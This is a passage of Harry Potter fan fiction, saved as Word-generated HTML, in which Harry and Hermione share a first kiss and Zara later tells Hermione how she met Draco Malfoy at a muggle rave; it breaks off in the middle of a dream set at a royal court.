sail through the air and land near the\nopposite wall, she started to quickly stand to go and fetch it but Harry was\nquicker than she was.&nbsp; His arms shooting\naround her waist causing her to fall to the floor with him on top of her.&nbsp; She struggled to get out from underneath him\nbut he grabbed both her wrists holding them above her head against the\nfloor.&nbsp; She could not move for she was\ncompletely pinned beneath his weight.&nbsp; He\nwas staring down at her &#8220;I will not let you take the memories of you out of my\nhead, if Voldermort came right now to kill me I would\nrather die thinking of you, than anyone or anything else.&#8221; He watched her eyes\nclose feeling something inside him stirring, he took a really deep breath. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&nbsp; The pressure on her body and her wrists\nreleased and Hermione&#8217;s eyes opened, seeing Harry sitting up right next to her\nrunning his hand through his dark hair looking more frustrated than she had\never seen him. She too sat up but slowly &#8220;I&#8217;m sorry, you&#8217;re right I shouldn&#8217;t\nhave tried to do that.&nbsp; I just thought\nmaybe&#8212;&#8221; She couldn&#8217;t continue as a few tears fell from her eyes gliding down\nher cheeks. A sense of hopelessness crept around her again.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry&#8217;s\ngaze found hers, he was feeling really bad right now.&nbsp; The way she felt beneath him was\nexcruciatingly pleasing, and this was certainly not a time to be thinking those\nthoughts.&nbsp; He cursed himself for\nthem.&nbsp; Harry knew he should say\nsomething, but the words weren&#8217;t forming.&nbsp;\nHe saw the hopeless look in her eyes, and he was able to say &#8220;I think\nyou should not believe anything Malfoy gives you.&nbsp; It might very well be a deception spell to\nmake you see what you fear worst, not your future.&nbsp; You don&#8217;t even know if this is the Orb of\nEllia or whatever it is called.&nbsp; Do you\neven know if such a thing exists?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlooked to the floor in thought as a lock of her hair fell in front of her face,\nthat&#8217;s true she hadn&#8217;t even researched it, and she usually goes through those\nsteps before taking anything seriously.&nbsp;\nWhat if this Orb had some control over her making her feel a certain way\nabout herself because it was some kind of spell.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Noticing\nthat Hermione was thinking and not sulking, Harry actually felt a little\nbetter.&nbsp; This meant that she was becoming\nherself again.&nbsp; Silently, he watched her\nvery closely as she tucked her hair behind her ear.&nbsp; She was looking up towards the wall as if\nanother thought had entered her mind.&nbsp; He\nwanted to hold her close, to feel her against him. Touch her.&nbsp; Caress her.&nbsp;\nLove her.&nbsp; <i style="mso-bidi-font-style:\nnormal">No, she needs a friend right now</i> popped into his head, but it was\nso hard to listen to it.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; Harry turned away, trying to think of other\nless frustrating things but was interrupted feeling a slight pressure on his\nshoulder.&nbsp; To his mistake he turned and\nfound Hermione leaning her head on his shoulder, making his pulse quicken. He\nso hoped she couldn&#8217;t hear the rapid beating of his heart.&nbsp; Yes, sure she had done this a lot in the\npast, but this time it was a different feeling. &#8220;Hermione?&#8221; He said in a\nwhisper almost unable to get her name out.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nlifted her head looking up at him, &#8220;what?&#8221; She could see something about him\nwas different when she wasn&#8217;t able to read him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry&#8217;s\ngaze dropped from her beautiful brown eyes, to her very kissable lips.&nbsp; He quickly averted his eyes looking away\ncompletely. &#8220;Never mind,&#8221; he said quickly. He felt Hermione simply lay her head\nback down on his shoulder, &#8220;how are you feeling now?&#8221; Harry asked, his breath\nwas short.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Alright\nI suppose,&#8221; Hermione answered quickly trying to return to the silence of her\nthoughts, she turned and looked up at him again. &#8220;Harry what&#8217;s the matter, are\nyou getting ill?&#8221; She was worried. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No,&#8221;\nhe took in a short breath, &#8220;I&#8217;m fine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nmoved, with her face only inches from his she was looking him over, then in the\neyes, &#8220;are you sure?&nbsp; You look awfully\nflushed.&#8221;&nbsp; Hermione put her palm against\nhis cheek to feel the heat wondering if he was getting sick.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nreached up quickly covering her hand taking another short breath, he brought\nher hand down from his cheek.&nbsp; She was so\nclose he could smell the scent of her. He lost it. Quickly without another\nthought he pressed his lips against hers.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Taken\nby surprise, Hermione pulled away immediately wide-eyed with confusion. &#8220;W&#8212;what\ndid you do that for?&#8221; She stared in disbelief.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nalmost didn&#8217;t know what to say but words came pouring out of his mouth with no\ncontrol. &#8220;I just wanted to.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlooked to the floor, &#8220;why?&#8221; She thought about every logical reason why he would\nkiss her, then it struck her like a light bulb turning on her mind she looked\nup at him carefully. &#8220;Did you find out about Malfoy&#8217;s deal?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\ndeal?&#8221; He lied, trying to give a confused look.&nbsp;\nHe knew about the deal, but that wasn&#8217;t why he had kissed her.&nbsp; He wanted to do it again and again regardless\nof Draco&#8217;s horrible deal.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione&#8217;s\ncheeks flushed as she looked up at him, &#8220;so you did that because you wanted to,\nnot because of Malfoy?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\ndoes my wanting to kiss you have to do with Malfoy?&#8221; Harry asked softly,\nnoticing that what he had just asked stunned her.&nbsp; He gently put his hand against her cheek\ntrying to tell her he wanted to do it again.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Her\neyes fluttering closed to his touch, an instant later she felt his lips lightly\nagainst hers probably testing to see if she would pull away. This time she did\nnot move away.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Taking\nthis as a reason to continue, Harry&#8217;s mouth gently opened against hers.&nbsp; Pleased that Hermione&#8217;s response was\nimmediate doing the same, if he could smile he would have.&nbsp; He gently eased his tongue into her mouth.&nbsp; Feeling hers against his delighted him.&nbsp; The feel of her mouth, the taste of her\nheightened his senses making him want more.&nbsp;\nHis arms wrapped around her tightly pulling her body against him.&nbsp; Feeling her arms go around him his mind\nstarted to work again <i style="mso-bidi-font-style:normal">this is your best\nfriend, what are you doing?</i> But he didn&#8217;t care what his head was saying, he\ntalked back to himself. <i style="mso-bidi-font-style:normal">I&#8217;m in love with\nmy best friend, now go away.</i>&nbsp; And his\nthoughts were no longer bothering him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nhad only secretly dreamt about kissing Harry, or even him wanting to was simply\na dream. But he was really here. Right here.&nbsp;\nShe opened her eyes just to make sure. His dark lashes lying against his\ncheeks that were slightly flushed. Knowing that this was not a dream her eyes\nclosed again to the blissful sensation Harry&#8217;s mouth created in her and finding\nherself pressing her mouth a little harder against his.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nlet out a soft moan into her mouth feeling her mouth harder against his, he\nloosened his embrace only to slide his hands down her satin covered back, then\nup under the clothing.&nbsp; He felt her\nshiver beneath the feel of his hands on her smooth bare back, until they passed\nover another garment, of lace.&nbsp; He\nrestrained himself from undoing that bothersome clasp, getting rid of the\ngarment that was in his way, but he passed over it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Her\nheart raced feeling his fingers caressing her skin and even though Hermione\nloved him entirely this was just too much after all that had already happened\ntoday.&nbsp; He just felt so good right there\nwith her but her mind shouted <i style="mso-bidi-font-style:normal">caution! </i>And\nshe regrettably pulled her mouth from his.&nbsp;\nShe moved a bit away from him putting her hand against her heart as if\ntrying to steady her wild beating heart.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\njust stared at her for a moment, seeing her gaze still enraptured he so wanted\nto do more than just kiss her. <i style="mso-bidi-font-style:normal">Self\ncontrol!</i> His head shouted, it was so hard to have any self control around\nher right now.&nbsp; &#8220;Hermione?&#8221; He said still\nshort of breath.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;m\nalright, you?&#8221; She felt kind of awkward, not really having any idea of what to\nsay.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nfinally gathered his thoughts as his brain was starting to work right again,\n&#8220;Hermione I don&#8217;t want you to feel awkward about what just went on.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nnodded, &#8220;I&#8212;I just really didn&#8217;t expect this, at all.&#8221; She confessed. She sucked\nin a breath.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nthought a moment feeling uncertain he asked, &#8220;did you think it was a wrong\nthing to do?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No&#8212;not\nat all, I mean.&#8212;Well&#8212;oh boy.&#8221; Her voice came out flustered as she felt heat\nrising to her cheeks. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\ngrinned &#8220;okay, I take that as a no Harry that was not a wrong thing to do, and\nyou are such a great, great kisser and I want you to do it again.&#8221; He\nbeamed.&nbsp; He found she had an amused\nexpression on her face.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It&#8217;s\nnot that I don&#8217;t want to do that again, it&#8217;s just I need to get some sleep. So\nmuch has gone on in the past few months with Malfoy constantly&#8212;&#8221; She shuddered\nwith disgust feeling chills run up her spine not being able to continue with\nwhat she was saying.&nbsp; &#8220;I have to sort\nthrough it.&nbsp; So tomorrow I&#8217;m going to the\nlibrary to see if I can find anything on Malfoy&#8217;s stupid orb.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;That\nsounds like a good plan I suppose, I can think of a much better plan involving\nyou and me and&#8221; he stopped thinking something really interesting.&nbsp; &#8220;But at this point I&#8217;ll keep it to myself.&#8221;\nHe grinned.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwas slightly stunned <i style="mso-bidi-font-style:normal">did those words just\ncome out of his mouth?</i>&nbsp; She thought.\nShe wondered if she somehow popped into the twilight zone. But then again they\nhad just crossed over the friendship line into something different, so of\ncourse she would see another side of him, but so quickly.&nbsp; &#8220;Well, good night.&#8221; She stood as he did also.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Night&#8221;\nHarry replied with a smile not wanting her to go, but he knew it was the right\nthing to do.&nbsp; He so did not want to do\nthe right thing, but he listened to his head and to what Hermione wanted which\nwas very important to him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">They\nboth picked up their robes where they had put them, walking up the stairs\ntowards the different dormitories without looking back at each other.&nbsp; Because if he did, he wasn&#8217;t sure if his self\ncontrol would hold up, she probably felt the same was since the sounds of her\nshoes quickly almost in a tiny run, headed up into the rooms.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nopened the door to the six year girl&#8217;s room, she quickly changed out of her\nclothes and into a light blue night shirt.&nbsp;\nShe walked to her bed, pulling the covers back she slipped in between\nthem. She heard the bed next to her move and Hermione turned her head to see\nZara staring at her with a silly grin on her face. &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nsmiled and practically whispered, since she did not want to wake the other\ngirls, &#8220;That was an interesting site if I do say so myself, and if I were a\nvoyeur I would have stuck around longer.&nbsp;\nBut I&#8217;m not,&#8221; she paused &#8220;much of one.&#8221; She grinned &#8220;you should have\nseen Ron he totally wanted to see tons more, but I had to push him up the\nstairs and make sure he went in his door.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione&#8217;s\ncheeks flushed as she knew what Zara was talking about and she was glad it was\ndark so Zara couldn&#8217;t see it.&nbsp; &#8220;Nothing\nelse&#8212;happened.&#8221; She said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nbelieve you.&#8221; Zara got up from her bed and went over and sat down on Hermione&#8217;s\nbed crossing her legs together.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nsat up in confusion, &#8220;what are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\njust wanted us to have a little girl talk, Jewel never kisses guys unless they\nare really, really cute. So that&#8217;s not very often, and besides she&#8217;s in another\nhouse. I never have anyone to talk to about stuff like this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ntake it you kiss a lot of guys then?&#8221; Hermione was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Only\nthe ones I like.&#8221; Zara smiled. &#8220;How about you, do you kiss a lot of guys?</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nshook her head, &#8220;not really, I mean I have had relationships before. Not too\nmany though and probably not as many as you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Gee\nHermione you make me sound like a slut. I&#8217;m only sixteen I haven&#8217;t had that\nmany.&#8221; Zara sounded offended then asked. &#8220;How old were you when you had your\nfirst kiss?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nwas fourteen.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;That&#8217;s\ncool I suppose.&#8221; Zara said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlooked to her bedcovers and then up at Zara, &#8220;do guys usually act strange after\nkissing them?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Strange,\nin what way?&#8221; Zara seemed confused as she thought back to a few.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t know, maybe I just never noticed or paid attention to it before.&#8221;\nHermione replied unsure.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nyou crossed over that invisible friendship line, a lot of things are going to\nbe different, and yes even shocking at times.&nbsp;\nBut it&#8217;s all good. Trust me on that.&#8221; Zara thought a moment and then\nknew what she was going to say.&nbsp; &#8220;I mean\neach guy is a little different. Not much though, believe it or not they are all\nafter that one thing.&#8221; &nbsp;Zara saw the\nunsure look in Hermione&#8217;s eye and knew who she was thinking about, &#8220;yes even\nhim Hermione, if he&#8217;s a guy it&#8217;s always a thought in his mind. Also most of\nthem think that when they kiss you once they can do it again and again as if\nyou really don&#8217;t have a say in the matter.&nbsp;\nBut you do, it&#8217;s your mouth remember that.&#8221; Zara&#8217;s voice was stern.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;But\nI really wouldn&#8217;t mind.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ndon&#8217;t want them to know that.&#8221; Zara smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\ndo you mean?&#8221; Hermione was confused.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;All\nguys like a certain chase a convincing, even if they don&#8217;t admit or even\nconsciously know.&nbsp; You will find that\nit&#8217;s kinda fun too.&nbsp; They tend to think\nof the most interesting things in trying to convince you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Zara,\nisn&#8217;t that kind wrong isn&#8217;t that teasing them.&nbsp;\nMy parents often told me it&#8217;s not right to tease because it leads to\nvery unfortunate circumstances.&#8221; Hermione had caution in her voice.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;True\nit&#8217;s a little tease, but not really harmful.&nbsp;\nIf you always give what they want right away you never know if it&#8217;s you\nthey want or just another mark down on their list. I don&#8217;t know if that makes\nany sense to you?&nbsp; You&#8217;ll just have to\ntry it out and if it doesn&#8217;t work for you, then forget it.&#8221; Zara smiled knowing\nfrom her own kissing experience that it is lots of fun they try so hard.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;ll\ngive it some thought.&#8221; Hermione sighed, &#8220;Zara something has been gnawing at me\nsince the first time I met you.&#8221;&nbsp; She\ntook a breath, &#8220;how is it that you know Draco Malfoy?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nnodded, &#8220;well I met him last summer.&nbsp; Him\nand his creepy ass father came into my mothers rave, I had no idea they were\nwizard types at the time, just really weird European tourists.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What&#8217;s\na rave?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;A\nmuggle dance club.&nbsp; Zara answered.&nbsp; &#8220;It&#8217;s a fun and exciting a very wild kind of\nway of life I suppose, I like it.&#8221;&nbsp; She\nsmiled with pride.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">That&#8217;s\nstrange Hermione thought. Why would Draco and his father go into a muggle\nestablishment, and in another country at that? &#8220;That is kind of unusual, the\nMalfoy&#8217;s despise muggles with a passion.&nbsp;\nWhy would they go some place that is just crawling with them?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nhave no idea, like I said I didn&#8217;t know who they were.&#8221; Zara said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nthen how did you meet them?&#8221; Hermione was going to figure out exactly what\nDraco was up to.&nbsp; He just does not hang\naround where muggles are.&nbsp; He would\nrather have his eyes burnt out and his hair torn by the roots then spend an\nevening or even a minute with muggles.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nthought back and then it all came back, &#8220;even though I was underage to serve\nalcoholic beverages my mom would let me do it anyway, just as long as I didn&#8217;t\ndrink any, what she didn&#8217;t know wouldn&#8217;t hurt her I always say. Anyway I was\ntalking to these three guys and their lady friend at a table next to the\nMalfoys you know the weird European tourists, some silly girl ordered the\nVirgin Sacrifice and I made a joke.&nbsp; I\nwas really funny.&#8221; She praised herself and then continued. &#8220;This one guy didn&#8217;t\nlook 21 and he was ordering one of the most potent drinks on the menu so I teased\nhim about his ID. He didn&#8217;t think that was too funny.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">One\nof his friends had been in the rave before so I gave him a really cool name\nlike Knife.&nbsp; He liked it. And he told his\nfriends that I could do this really neat thing with my tongue.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nbet.&#8221; Hermione teased.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nthrew Hermione a sarcastic look &#8220;anyway, I could tie a knot in a cherry stem\nwith my tongue.&nbsp; Knife and his friends\nwanted to see but there weren&#8217;t any cherries around on their table, I looked\naround and noticed some at the table next to theirs on the weird Europeans table.&nbsp; I stepped over and asked them if I could\nborrow a cherry.&nbsp; They both nodded\nwithout a word and I took one.&nbsp; I\nreturned to Knife&#8217;s table and showed them my trick.&nbsp; They were impressed they clapped and cheered\nI took the rest of their orders, then left to fill them.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;As the night wore on, it was nearing closing\ntime and the one I had carded tried to get me to go on a date with him, he was\nso persistent.&nbsp; I had to say several rude\nthings to him, he still didn&#8217;t take the hint and I almost had to get the bouncers\nto throw him out since I would never have been able to use any kind of magic to\nget him to leave. But the weird Europeans walked up and said something to the\nbothersome guy and he listened to them leaving without the bouncers help.&nbsp; And that&#8217;s how I met them.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;They\nmust have used some curse on him to get him to leave so quickly.&#8221; Hermione\nthought out loud.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nreally don&#8217;t know.&#8221;&nbsp; Zara said, &#8220;but the\nolder of the guys left and then it was just me and Draco and we had a very nice\nconversation.&nbsp; When I closed down the\nclub for my mom I remember thinking it&#8217;s a shame I probably won&#8217;t see him\nagain.&#8221; She paused, &#8220;because he was really cute.&nbsp; And then he showed up every night that I was\nworking in the rave for a whole month. I fell for that boy and his empty\npromises like a ton of bricks.&#8221; She sighed with regret.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;He\nis very deceitful, it&#8217;s a shame you and I didn&#8217;t meet until this year. I could\nhave told you that.&#8221;&nbsp; Hermione replied.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nit&#8217;s also my fault that I took everything he said so seriously. I&#8217;ve never had\nthat problem before with guys, he was just so different and believable.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Even\nin the darkness of their room Hermione could feel the air around her that Zara\nhad her heart broken by Draco Malfoy, &#8220;Did you&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;Hermione was cut off by Zara looking up at her\nwith a very hurt expression. &#8220;My first.&#8221; She closed her eyes lightly the opened\nthem smiling, &#8220;well what is done is done, but now I can make the rest of my\nexperiences good ones.&#8221; Hearing voices heading towards the bedroom door Zara\nstood off of Hermione&#8217;s bed, &#8220;I think I kept you up late enough, I should get\nsome sleep.&#8221;&nbsp; As Zara returned to her bed\nthe door opened and the other six year girls came in. they were still talking\nabout the party with the Ravenclaws.&nbsp; And how those smart people can really throw a\nbash when they want to.&nbsp; After it quieted\ndown Zara was able to fall into her blissful slumber.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlooked up to the ceiling as she heard Lavender climb into the bed next to\nhers.&nbsp; Hermione&#8217;s eye lids started to\nfall slowly, and she was asleep&#8212;<i style="mso-bidi-font-style:normal">she was\nwalking through the court of ladies and gentleman who were all gathered near\nthe palace, conversing in the day&#8217;s news or whatever took their fancy.&nbsp; Scanning the crowd she was looking for\nsomeone and found him, he was casually leaning up against the wall talking with\na flaxen haired woman who was known to the court as Sofia Lyle.&nbsp; He had his hand lazily on her arm and was\nsmiling into her eyes.&nbsp; He seemed to step\ncloser and whisper something in Sofia&#8217;s ear, she blushed and he moved back\nagainst the wall.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;\nSeeing this, her eyes narrowed she turned to walk away.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;You&#8217;re a fool you know.&#8221; A voice said\nto her.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">She turned finding him eating a bright\nred apple, &#8220;Ulrich, I would appreciate it if you keep your opinions to\nyourself.&nbsp; If anyone&#8217;s a fool it is you.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine, it will never be just you so\ngive up those insane thoughts of yours.&#8221; Ulrich taunted.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I don&#8217;t know what you&#8217;re talking\nabout.&#8221; She said softly.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Torrin could and he does have every\nwoman there is, why would he settle for just you?&#8221; Ulrich tormented her with\nthat thought.&nbsp; He always knew it would\nwork &#8220;well maybe he would if he ever ran out of court ladies.&#8221;&nbsp; He laughed silently to himself.&nbsp; &#8220;You should just accept my proposal, we could\nbe good together.&nbsp; Two very powerful\nallies on the same 